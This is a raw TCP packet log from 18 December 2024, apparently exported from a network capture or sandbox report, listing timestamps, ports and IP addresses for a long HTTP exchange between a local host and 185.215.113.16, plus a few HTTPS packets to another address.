Dec 18, 2024 15:56:23.943120956 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.943156004 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.943186045 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.949291945 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.949362040 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.949412107 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.949506044 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.955497026 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.955624104 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.955718040 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.955852985 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.961688995 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.961760044 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.961765051 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.961819887 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.967761993 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.967854977 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.967943907 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.968100071 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.973862886 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.973967075 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.973999977 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.974061012 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.980089903 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.980174065 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.980220079 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.980298996 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.985934973 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.986004114 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.986007929 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.986064911 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.991780996 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.991871119 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.991955996 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.992037058 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.996989012 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.997051001 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.997081041 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.997175932 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.002415895 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.002552032 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.002573013 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.002659082 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.007755995 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.007810116 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.007896900 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.007997990 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.012990952 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.013026953 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.013073921 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.017740011 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.017832994 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.017839909 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.017935991 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.022722960 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.022799969 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.022861004 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.022917032 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.027867079 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.027937889 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.027964115 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.030858040 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.032852888 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.032898903 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.032978058 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.035959959 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.036020041 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.036067009 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.036168098 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.039138079 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.039185047 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.039215088 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.039235115 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.042207003 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.042278051 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.042319059 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.042382956 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.045281887 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.045381069 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.045381069 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.045447111 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.048335075 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.048419952 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.048433065 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.048496008 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.051665068 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.051736116 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.051773071 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.051847935 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.054546118 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.054603100 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.054625988 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.054649115 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.057682991 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.057740927 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.057822943 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.057902098 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.060760975 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.060844898 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.060883045 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.060946941 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.063839912 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.063901901 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.063972950 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.064019918 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.064577103 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:24.064682961 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:24.064742088 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:24.066950083 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.067034960 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.067066908 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.067125082 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.069978952 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.070074081 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.070092916 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.070123911 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.073152065 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.073216915 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.073215961 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.073260069 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.076206923 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.076260090 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:24.076282024 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:24.076287031 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.076311111 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.076378107 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.079612970 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.079652071 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.079704046 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.082346916 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.082415104 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.082457066 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.082520962 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.085431099 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.085505009 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.085539103 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.085592985 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.088417053 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.088500023 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.088541031 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.088614941 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.091479063 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.091537952 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.091555119 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.091602087 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.094435930 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.094511986 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.094572067 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.094631910 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.097336054 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.097402096 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.097430944 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.097573996 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.100334883 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.100420952 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.100438118 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.100471973 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.103185892 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.103245020 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.103308916 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.103378057 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.106336117 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.106400967 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.106467009 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.108891010 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.108954906 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.109106064 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.109352112 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.111732006 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.111794949 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.111834049 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.112572908 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.114718914 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.114787102 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.114897013 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.115123034 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.117393017 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.117505074 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.117508888 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.117645025 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.120235920 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.120345116 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.120374918 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.120402098 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.122917891 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.123862028 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.146657944 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.146755934 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.146899939 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.146981955 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.147310019 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.147367954 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.147425890 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.147494078 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.149590969 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.149722099 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.149810076 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.152084112 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.152194023 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.152262926 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.154476881 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.154587030 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.154649019 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.156951904 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.157011032 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.157061100 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.157344103 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.159410954 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.159507036 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.159537077 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.159632921 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.161575079 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.161642075 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.161704063 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.161772013 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.163677931 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.163779020 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.163820028 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.163845062 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.165704012 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.165746927 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.165851116 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.167792082 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.167867899 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.167989016 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.168070078 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.169814110 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.169874907 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.169934034 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.169934988 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.171736956 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.171838999 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.171847105 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.171895981 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.173641920 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.173731089 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.173886061 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.173943043 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.175518036 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.175579071 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.175659895 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.175705910 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.177377939 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.177463055 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.177493095 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.177557945 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.179481030 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.179541111 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.179606915 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.179694891 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.181016922 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.181070089 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.181113005 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.182940006 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.183037043 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.183098078 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.184488058 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.184545040 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.184577942 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.184637070 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.186463118 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.186542988 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.186558962 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.186592102 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.187972069 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.188075066 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.188116074 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.188347101 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.189601898 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.189690113 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.189717054 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.189878941 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.191271067 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.191345930 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.191381931 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.191464901 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.193088055 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.193183899 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.193198919 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.193240881 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.194808006 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.194885969 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.194900990 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.194971085 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.196316957 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.196371078 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.196441889 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.197773933 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.197828054 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.197896004 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.199485064 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.199548960 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.199549913 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.200247049 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.200831890 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.200937986 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.200998068 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.201091051 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.202543020 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.202615023 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.202630997 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.202759981 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.203952074 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.204025984 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.204036951 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.204271078 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.205502987 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.205626965 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.205631971 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.207062006 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.207144022 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.207184076 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.208178043 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.208467007 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.208520889 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.208575964 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.210016966 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.210072041 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.210225105 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.211355925 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.211425066 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.211438894 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.212466002 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.212779045 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.212914944 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.212964058 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.213470936 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.214169025 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.214273930 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.214328051 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.215646982 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.215738058 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.215895891 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.217047930 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.217161894 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.217221975 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.218507051 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.218727112 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:24.219168901 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:24.219201088 CET	49782	80	192.168.2.10	185.215.113.16
